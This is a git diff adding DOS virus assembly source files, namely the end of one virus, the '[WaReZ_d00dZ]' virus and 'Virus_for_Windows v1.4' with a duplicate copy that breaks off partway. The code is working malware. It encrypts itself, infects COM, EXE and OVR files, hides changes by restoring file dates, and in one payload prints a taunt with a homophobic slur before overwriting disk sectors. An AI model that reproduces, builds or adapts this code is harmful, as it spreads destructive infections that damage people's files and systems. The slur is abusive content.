'C:\WINSTART.BAT',0 ;instead of call next pop bp +rename_offset: pop dx ;sub bp,???? lea dx,[bp+????] + mov ax,3d40h ;open file c:\winstart.bat + ja pop_n_go ;empty for the pesimists + int 21h + jc pop_n_go ;failure then leave + xchg ax,bx + mov ax,5b00h ;create a file winstart.bat + xor cx,cx ;normal attributes + mov ds,cx + mov di,0018h*04h ;get and set int 24 to a fail + push word ptr ds:[di+(24h-18h)*04h] + push word ptr ds:[di+02h+(24h-18h)*04h] + mov word ptr ds:[di+(24h-18h)*04h],di + mov word ptr ds:[di+02h+(24h-18h)*04h],ds + mov word ptr ds:[di],5555h + org $-2 + mov al,03h ;return a fail + mov byte ptr ds:[di+02h],55h + org $-1 + iret ;return back to caller + push cs + pop ds + add dl,03h ;just winstart.bat + int 21h + mov ds,cx ;restore critical handler + pop word ptr ds:[di+02h+(24h-18h)*04h] + pop word ptr ds:[di+(24h-18h)*04h] + jc close_n_go ;failure then leave + xchg ax,bp +loop_copy: push bx + mov ah,3fh ;read c:\winstart.bat + mov dx,di ;read it at int 18's 4 bytes + mov cl,04h ;done this way because + int 21h ;int 21 won't write to the hma + xchg ax,cx ;ax was bytes read + mov ah,40h ;now write it to floppy + mov bx,bp + int 21h + or ax,ax ;zero bytes written? + pop bx + jnz loop_copy ;if not then continue + mov ax,5700h ;get original file date/time + int 21h + mov ah,3eh ;close the file + int 21h + mov bx,bp + mov ax,5701h ;set file date/time + int 21h +close_n_go: mov ah,3eh ;close the file + int 21h +pop_n_go: pop ds + popa +onward: db 0eah ;jmp original int 2f +isr2f endp + + +mem_res_end label byte + + +cseg ends + + + end batch_file + diff --git a/w/WRZ_D00D.ASM b/w/WRZ_D00D.ASM new file mode 100755 index 0000000..38dabcb --- /dev/null +++ b/w/WRZ_D00D.ASM @@ -0,0 +1,681 @@ +; PX.ASM : [WaReZ_d00dZ] by [pAgE] +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP +idi = 'FB' +id = 'ZP' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov di,offset startencrypt ; start of decryption + mov cx,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,05h ; add word ptr cs:[di], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc di ; calculate new decryption location + inc di + loop decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE + cmp sp,idi ; COM or EXE? + je restoreOVR + +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreOVR: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],50; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + + lea dx,[bp+ovr_mask] + call infect_mask + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + mov ah,2ah ; Get current date + int 21h + cmp dh,1 ; Check month + jb exit_virus + cmp cx,1992 ; Check year + jb exit_virus + cmp al,0 ; Check date of week + jae activate + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 27h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti +returnOVR: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate proc far + +start: + jmp short loc_1 + db 90h +data_2 db 0 +data_3 dw 2B1h + db 2 +data_4 dw 0 + db 'HEY!!! Blow ME, WaReZ FAGGOT' + db 1Ah +data_5 db 'You got sorta lucky!!!', 0Dh, 0Ah + db '$' +loc_1: + mov ah,0Fh + int 010h + xor ah,ah + int 010h + mov ax,0002h + mov cx,0100h + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov bx,0B800h + cmp al,2 + je loc_2 ; Jump if equal + cmp al,3 + je loc_2 ; Jump if equal + mov data_2,0 + mov bx,0B000h + cmp al,7 + je loc_2 ; Jump if equal + mov dx,offset data_5 ; ('Unsupported Video Mode') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + retn +loc_2: + mov es,bx + mov di,data_4 + mov si,offset data_6 + mov dx,3DAh + mov bl,9 + mov cx,data_3 + cld ; Clear direction + xor ax,ax ; Zero register + +locloop_4: + lodsb ; String [si] to al + cmp al,1Bh + jne loc_5 ; Jump if not equal + xor ah,80h + jmp short loc_20 +loc_5: + cmp al,10h + jae loc_8 ; Jump if above or = + and ah,0F0h + or ah,al + jmp short loc_20 +loc_8: + cmp al,18h + je loc_11 ; Jump if equal + jnc loc_12 ; Jump if carry=0 + sub al,10h + add al,al + add al,al + add al,al + add al,al + and ah,8Fh + or ah,al + jmp short loc_20 +loc_11: + mov di,data_4 + add di,data_1e + mov data_4,di + jmp short loc_20 +loc_12: + mov bp,cx + mov cx,1 + cmp al,19h + jne loc_13 ; Jump if not equal + lodsb ; String [si] to al + mov cl,al + mov al,20h ; ' ' + dec bp + jmp short loc_14 +loc_13: + cmp al,1Ah + jne loc_15 ; Jump if not equal + lodsb ; String [si] to al + dec bp + mov cl,al + lodsb ; String [si] to al + dec bp +loc_14: + inc cx +loc_15: + cmp data_2,0 + je loc_18 ; Jump if equal + mov bh,al + +locloop_16: + in al,dx ; port 3DAh, CGA/EGA vid status + rcr al,1 ; Rotate thru carry + jc locloop_16 ; Jump if carry Set +loc_17: + in al,dx ; port 3DAh, CGA/EGA vid status + and al,bl + jnz loc_17 ; Jump if not zero + mov al,bh + stosw ; Store ax to es:[di] + loop locloop_16 ; Loop if cx > 0 + + jmp short loc_19 +loc_18: + rep stosw ; Rep when cx >0 Store ax to es:[di] +loc_19: + mov cx,bp +loc_20: + jcxz loc_ret_21 ; Jump if cx=0 + loop locloop_4 ; Loop if cx > 0 + + +loc_ret_21: + + push dx + mov al,002h + mov cx,030h + cli + cwd + int 026h + pop dx + mov ax,04C00h + int 021h + +activate endp + jmp exit_virus + +creator db '[MPC]',0 ; Mass Produced Code Generator +virusname db '[WaReZ_d00dZ]',0 +author db '[pAgE]',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! + cmp word ptr [bp+buffer],'FB'; EXE? + jz checkOVR ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +checkOVR: cmp word ptr [bp+buffer+10h],idi ; is it already infected? + jnz infect_ovr +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp finishinfection +infect_ovr: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h],idi + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control +data_6 db 9 + db 10h,0D2h,0C4h,0C4h,0BFh, 20h + db 0D6h,0C4h,0C4h,0BFh, 20h,0D6h + db 0C4h,0C4h,0BFh, 20h,0B7h + db 20h ; Data table (indexed access) + db 0D6h,0C4h,0D2h,0C4h,0BFh, 19h + db 03h,0D2h, 20h, 20h,0C2h, 20h + db 0D6h,0C4h,0C4h,0BFh, 20h,0D2h + db 20h, 20h,0C2h, 19h + dd 0DA20D203h ; Data table (indexed access) + db 20h, 20h,0D6h,0C4h,0C4h,0BFh + db 20h,0D6h,0C4h,0C4h,0BFh, 20h + db 0D2h, 20h,0D2h, 20h,0C2h, 20h + db 20h, 18h,0BAh, 20h, 20h,0B3h + db 20h,0BAh, 20h, 20h,0B3h, 20h + db 0BAh, 20h, 20h,0B3h, 20h,0BDh + db 19h, 02h,0BAh, 19h, 05h,0D3h + db 0C4h,0C4h,0B4h, 20h,0BAh, 20h + db 20h,0B3h, 20h,0BAh, 20h, 20h + db 0B3h, 19h, 03h,0C7h,0C4h,0C1h + db 0BFh, 20h,0BAh, 20h, 20h,0B3h + db 20h,0BAh, 20h, 20h,0B3h, 20h + db 0BAh, 20h,0BAh, 20h,0B3h, 20h + db 20h, 18h,0D0h,0C4h,0C4h,0D9h + db 20h,0D3h,0C4h,0C4h,0D9h, 20h + db 0D0h, 20h, 20h,0C1h, 19h, 04h + db 0D0h, 19h, 05h,0D3h,0C4h,0C4h + db 0D9h, 20h,0D3h,0C4h,0C4h,0D9h + db 20h,0D3h,0C4h,0C4h,0D9h, 19h + db 03h,0D0h, 20h, 20h,0C1h, 20h + db 0D0h, 20h, 20h,0C1h, 20h,0D3h + db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h + db 0D0h,0C4h,0D9h, 20h, 20h, 18h + db 19h, 41h, 18h,0D6h,0C4h,0D2h + db 0C4h,0BFh, 20h,0D2h, 20h, 20h + db 0C2h, 20h,0D6h,0C4h,0C4h,0BFh + db 20h,0D6h,0C4h,0D2h,0C4h,0BFh + db 19h, 03h,0D2h,0C4h,0C4h,0BFh + db 20h,0C4h,0D2h,0C4h, 20h,0D2h + db 0C4h,0C4h,0BFh, 20h,0D6h,0C4h + db 0C4h,0BFh, 20h,0D6h,0C4h,0C4h + db 0BFh, 20h,0D2h, 20h, 20h,0C2h + db 19h, 02h,0C4h,0D2h,0C4h, 20h + db 20h,0D6h,0C4h,0BFh, 20h, 20h + db 18h, 20h, 20h,0BAh, 19h, 02h + db 0C7h,0C4h,0C4h,0B4h, 20h,0C7h + db 0C4h,0C4h,0B4h, 19h, 02h,0BAh + db 19h, 05h,0C7h,0C4h,0C4h,0D9h + db 20h, 20h,0BAh, 20h, 20h,0C7h + db 0C4h,0C2h,0D9h, 20h,0C7h,0C4h + db 0C4h,0B4h, 20h,0BAh, 19h, 03h + db 0D3h,0C4h,0C4h,0B4h, 19h, 03h + dd 0D30219BAh ; Data table (indexed access) + db 0C4h,0BFh, 20h, 20h, 18h, 20h + db 20h,0D0h, 19h, 02h,0D0h, 20h + db 20h,0C1h, 20h,0D0h, 20h, 20h + db 0C1h, 19h, 02h,0D0h, 19h, 05h + db 0D0h, 19h, 03h,0C4h,0D0h,0C4h + db 20h,0D0h, 20h,0C1h, 20h, 20h + db 0D0h, 20h, 20h,0C1h, 20h,0D3h + db 0C4h,0C4h,0D9h, 20h,0D3h,0C4h + db 0C4h,0D9h, 19h, 02h,0C4h,0D0h + db 0C4h, 20h,0D3h,0C4h,0C4h,0D9h + db 20h, 20h, 18h, 19h, 41h, 18h + db 19h, 41h, 18h, 19h, 07h, 0Ch + db 1Bh,0C4h,0C4h,0D2h,0C4h,0C4h + db 20h,0D2h, 19h, 06h,0D2h, 19h + db 06h,0D2h, 1Ah, 04h,0C4h,0BFh + db 20h,0D6h, 1Ah, 05h,0C4h, 20h + db 0D6h, 1Ah, 04h,0C4h,0BFh, 20h + db 0D2h, 19h, 0Ah, 18h, 19h, 09h + db 0BAh, 19h, 02h,0BAh, 19h, 06h + db 0BAh, 19h, 06h,0BAh, 19h, 06h + db 0BAh, 19h, 06h,0BAh, 19h, 04h + db 0B3h, 20h,0BAh, 19h, 0Ah, 18h + db 19h, 09h,0BAh, 19h, 02h,0BAh + db 19h, 06h,0BAh, 19h, 06h,0C7h + db 0C4h,0C4h, 19h, 04h,0BAh, 19h + db 02h,0DAh,0C4h,0BFh, 20h,0C7h + db 1Ah, 04h,0C4h,0B4h, 20h,0BAh + db 19h, 0Ah, 18h, 19h, 09h,0BAh + db 19h, 02h,0BAh, 19h, 06h,0BAh + db 19h, 06h,0BAh, 19h, 06h,0BAh + db 19h, 04h,0B3h, 20h,0BAh, 19h + db 04h,0B3h, 20h,0BAh, 19h, 0Ah + db 18h, 19h, 07h,0C4h,0C4h,0D0h + db 0C4h,0C4h, 20h,0D0h, 1Ah, 04h + db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h + db 0C4h,0D9h, 20h,0D0h, 1Ah, 04h + db 0C4h,0D9h, 20h,0D3h, 1Ah, 04h + db 0C4h,0D9h, 20h,0D0h, 19h, 04h + db 0C1h, 20h,0D0h, 1Ah, 04h,0C4h + db 0D9h, 19h, 04h, 18h, 19h, 41h + db 18h, 19h, 41h, 18h + db ' ', 9, 1Bh, 'I am afraid that I' + db ' am going to have to smash your ' + db 'WaReZ, d00d!!!' + db 18h, 19h, 41h, 18h, 19h, 41h + db 18h + db 20h + db ' Go ahead! Call the police and t' + db 'ell them ', 0Ah, '[NuKe] ', 9, 'p' + db 'aid you a visit!' + db 18h + +data_1e equ 0A0h +exe_mask db '*.exe',0 +ovr_mask db '*.ovr',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/w/WVIR14.ASM b/w/WVIR14.ASM new file mode 100755 index 0000000..744f535 --- /dev/null +++ b/w/WVIR14.ASM @@ -0,0 +1,487 @@ + +PAGE 59,132 + +; +; +; WVIR14 +; +; Created: 1-Sep-92 +; Passes: 5 Analysis Options on: none +; +; + +data_11e equ 100h ;* +data_12e equ 140h ;* +data_13e equ 142h ;* +data_14e equ 144h ;* +data_15e equ 148h ;* +data_16e equ 14Ah ;* +data_17e equ 150h ;* +data_18e equ 16Eh ;* +data_19e equ 181h ;* +data_20e equ 19Ch ;* +data_21e equ 19Eh ;* +data_22e equ 1A0h ;* +data_23e equ 1A2h ;* + +;------------------------------------------------------------ seg_a ---- + +seg_a segment byte public + assume cs:seg_a , ds:seg_a , ss:stack_seg_b + + db 249 dup (0) + +; +; +; Program Entry Point +; +; + + +wvir14 proc far + +start: + mov ax,cs + add ax,3Bh + mov ds,ax + cld ; Clear direction + push es + push ds + pop es + mov si,data_18e + mov di,data_19e + mov cx,0Dh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,data_17e + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov dx,17Bh + xor cx,cx ; Zero register + mov ah,4Eh +loc_1: + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jc loc_2 ; Jump if carry Set + mov dx,data_18e + call sub_1 + mov ah,4Fh ; 'O' + jmp short loc_1 +loc_2: + mov dx,data_19e + call sub_2 + pop es + mov ax,4C00h + int 21h ; DOS Services ah=function 4Ch + ; terminate with al=return code + +wvir14 endp + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_4 ; Jump if carry Set + xchg ax,bx + mov si,100h + call sub_3 + jc loc_3 ; Jump if carry Set + cmp word ptr [si+14h],100h + je loc_3 ; Jump if equal + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + call sub_4 + pop dx + pop cx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time +loc_3: + mov ah,3Eh + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + +loc_ret_4: + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_ret_4 ; Jump if carry Set + xchg ax,bx + mov si,100h + call sub_3 + jc loc_3 ; Jump if carry Set + cmp word ptr [si+14h],100h + jne loc_3 ; Jump if not equal + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + push cx + push dx + call sub_5 + call sub_6 + pop dx + pop cx + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; set file date+time, bx=handle + ; cx=time, dx=time + jmp short loc_3 +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + call sub_8 + cmp word ptr [si],5A4Dh + jne loc_5 ; Jump if not equal + cmp word ptr [si+18h],40h + jb loc_5 ; Jump if below + mov ax,[si+3Ch] + mov dx,[si+3Eh] + call sub_16 + mov ds:data_20e,ax + mov ds:data_21e,dx + call sub_8 + cmp word ptr [si],454Eh + jne loc_5 ; Jump if not equal + cmp word ptr [si+0Ch],302h + jne loc_5 ; Jump if not equal + cmp byte ptr [si+32h],4 + jne loc_5 ; Jump if not equal + cmp word ptr [si+36h],802h + jne loc_5 ; Jump if not equal + clc ; Clear carry flag + retn +loc_5: + stc ; Set carry flag + +loc_ret_6: + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + mov ax,[si+16h] + mov dx,140h + call sub_7 + cmp word ptr ds:data_13e,3AEh + jb loc_ret_6 ; Jump if below + cmp byte ptr ds:data_14e,50h ; 'P' + jne loc_ret_6 ; Jump if not equal + mov ax,[si+0Eh] + mov dx,148h + call sub_7 + cmp word ptr ds:data_16e,4A8h + jb loc_ret_6 ; Jump if below + mov ax,ds:data_12e + call sub_15 + mov dx,1A8h + mov cx,2AEh + nop + call sub_9 + call sub_13 + mov dx,1A8h + mov cx,2AEh + nop + call sub_12 + mov ax,word ptr ds:[148h] + call sub_15 + mov dx,1A8h + mov cx,0A8h + nop + call sub_9 + call sub_13 + mov dx,1A8h + mov cx,0A8h + nop + call sub_12 + push word ptr ds:[144h] + pop word ptr ds:[1A2h] + and word ptr ds:[144h],0FEFFh + mov ax,[si+16h] + mov dx,140h + call sub_10 + xor ax,ax ; Zero register + cwd ; Word to double word + call sub_14 + push word ptr [si+14h] + pop word ptr ds:[1A0h] + mov word ptr [si+14h],100h + call sub_11 + mov ax,word ptr ds:[140h] + call sub_15 + push ds + push cs + pop ds + mov dx,100h + mov cx,2AEh + nop + call sub_12 + pop ds + mov ax,word ptr ds:[148h] + call sub_15 + mov dx,100h + mov cx,0A8h + nop + call sub_12 + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,[si+0Eh] + mov dx,148h + call sub_7 + mov ax,ds:data_15e + call sub_15 + mov dx,100h + mov cx,0A8h + nop + call sub_9 + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + push word ptr ds:data_23e + pop word ptr ds:data_14e + mov ax,[si+16h] + mov dx,140h + call sub_10 + push word ptr ds:data_22e + pop word ptr [si+14h] + xor ax,ax ; Zero register + cwd ; Word to double word + call sub_14 + call sub_11 + call sub_13 + sub ax,0A8h + nop + sbb dx,0 + push ax + push dx + call sub_16 + mov dx,1A8h + mov cx,0A8h + nop + call sub_9 + mov ax,ds:data_15e + call sub_15 + mov dx,1A8h + mov cx,0A8h + nop + call sub_12 + pop dx + pop ax + sub ax,2AEh + nop + sbb dx,0 + push ax + push dx + call sub_16 + mov dx,1A8h + mov cx,2AEh + nop + call sub_9 + mov ax,word ptr ds:[140h] + call sub_15 + mov dx,1A8h + mov cx,2AEh + nop + call sub_12 + pop dx + pop ax + call sub_16 + mov cx,0 + call sub_12 + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + push dx + dec ax + mov cx,8 + mul cx ; dx:ax = reg * ax + add ax,[si+22h] + adc dx,0 + call sub_14 + pop dx + mov cx,8 + jmp short loc_7 + +; External Entry into Subroutine + +sub_8: + mov dx,data_11e + mov cx,40h + +; External Entry into Subroutine + +sub_9: +loc_7: + mov ah,3Fh + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + push dx + dec ax + mov cx,8 + mul cx ; dx:ax = reg * ax + add ax,[si+22h] + adc dx,0 + call sub_14 + pop dx + mov cx,8 + jmp short loc_8 + +; External Entry into Subroutine + +sub_11: + mov dx,data_11e + mov cx,40h + +; External Entry into Subroutine + +sub_12: +loc_8: + mov ah,40h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + mov ax,4202h + xor cx,cx ; Zero register + cwd ; Word to double word + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + add ax,ds:data_20e + adc dx,ds:data_21e + jmp short loc_9 + +; External Entry into Subroutine + +sub_15: + mov cx,10h + mul cx ; dx:ax = reg * ax + add ax,100h + adc dx,0 + jmp short loc_9 + db 33h,0C0h, 99h + +; External Entry into Subroutine + +sub_16: +loc_9: + xchg cx,dx + xchg ax,dx + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn +sub_14 endp + + ;* No entry point to code + xchg cx,dx + xchg ax,dx + mov ax,4201h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + retn + db ' Virus_for_Windows v1.4 ' + db 259 dup (0) + db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + db 'bbbbbbbbccccccccdddddddddddddddd' + db 'ddddddddddddddddddddddddddd*.EXE' + db 0 + db 'eeeeeeeeeeeee' + db 00h, 00h, 80h, 00h, 00h, 00h + db 5Ch, 00h, 00h, 00h + db 6Ch + db 11 dup (0) + db 4Dh, 4Bh, 39h, 32h + db 8 dup (0) + +seg_a ends + + + +;------------------------------------------------------ stack_seg_b ---- + +stack_seg_b segment word stack 'STACK' + + db 8192 dup (0) + +stack_seg_b ends + + + + end start diff --git a/w/WVIR14A.ASM b/w/WVIR14A.ASM new file mode 100755 index 0000000..744f535 --- /dev/null +++ b/w/WVIR14A.ASM @@ -0,0 +1,487 @@ + +PAGE 59,132 + +; +; +; WVIR14 +; +; Created: 1-Sep-92 +; Passes: 5 Analysis Options on: none +; +; + +data_11e equ 100h ;* +data_12e equ 140h ;* +data_13e equ 142h ;* +data_14e equ 144h ;* +data_15e equ 148h ;* +data_16e equ 14Ah ;* +data_17e equ 150h ;* +data_18e equ 16Eh ;* +data_19e equ 181h ;* +data_20e equ 19Ch ;* +data_21e equ 19Eh ;* +data_22e equ 1A0h ;* +data_23e equ 1A2h ;* + +;------------------------------------------------------------ seg_a ---- + +seg_a segment byte public + assume cs:seg_a , ds:seg_a , ss:stack_seg_b + + db 249 dup (0) + +; +; 